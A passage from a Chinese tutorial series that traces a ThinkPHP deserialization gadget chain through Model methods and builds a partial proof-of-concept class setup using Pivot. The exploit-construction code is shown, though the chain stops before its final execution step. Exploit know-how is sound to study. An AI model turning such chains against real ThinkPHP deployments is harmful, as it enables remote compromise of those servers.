黑客手把手教你分析一次漏洞( 三 )

为了能够调用到checkAllowFields(),还是需要保证前面不直接return,所以$data不能为空,所以我们跟进getChangedData()
public function getChangedData(): array{    $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {        if ((empty($a) || empty($b)) && $a !== $b) {            return 1;        }        return is_object($a) || $a != $b ? 1 : 0;    });    // 只读字段不允许更新    foreach ($this->readonly as $key => $field) {        if (isset($data[$field])) {            unset($data[$field]);        }    }    return $data;}第二个foreach不需要在意,我们这里令$this->force==true直接返回我们之前自定义的非空data,回到updateData(),后面会执行到if判断,但是不影响我们的流程,忽略,这就进入了checkAllowFields()
protected function checkAllowFields(): array{    echo "进入checkAllowFields()函数<br>";    // 检测字段    if (empty($this->field)) {        if (!empty($this->schema)) {            $this->field = array_keys(array_merge($this->schema, $this->jsonType));        } else {            $query = $this->db();            $table = $this->table ? $this->table . $this->suffix : $query->getTable();            $this->field = $query->getConnection()->getTableFields($table);        }        return $this->field;    }       xxxxxxx}为了执行db(),令$this->schema与$this->field为空,进入db()
public function db($scope = []): Query    {        echo "进入db()函数<br>";        /** @var Query $query */        echo "db函数中的变量值如下:<br>";        echo "connection=".$this->connection."<br>";        echo "name=";var_dump($this->name);echo "<br>";        echo "suffix=".$this->suffix."<br>";        $query = self::$db->connect($this->connection)            ->name($this->name . $this->suffix)            ->pk($this->pk);    }在db函数里执行了$this->name.$this->suffix这种字符串拼接操作,但是在这之前需要满足$db->connect()也就是令$this->connection=='mysql',至此前半条链已经完成 。我们知道了每个变量的值怎么设置,我们还得找一个合适的类,因为Model类是抽象类,不能实例化,我们找一个他的子类,和tp5.1一样我们还是用Pivot类来构造PoC,不难构造出如下半成品:
namespace think;abstract class Model{    use modelconcernAttribute;    use modelconcernConversion;    private $lazySave = false;    protected $withEvent = false;    private $exists = true;    private $force = true;    protected $field = [];    protected $schema = [];    protected $connection='mysql';    protected $name;    protected $suffix = '';    function __construct(){        $this->get();        $this->lazySave = true;        $this->withEvent = false;        $this->exists = true;        $this->force = true;        $this->field = [];        $this->schema = [];        $this->connection = 'mysql';    }}namespace thinkmodel;use thinkModel;class Pivot extends Model{    }


推荐阅读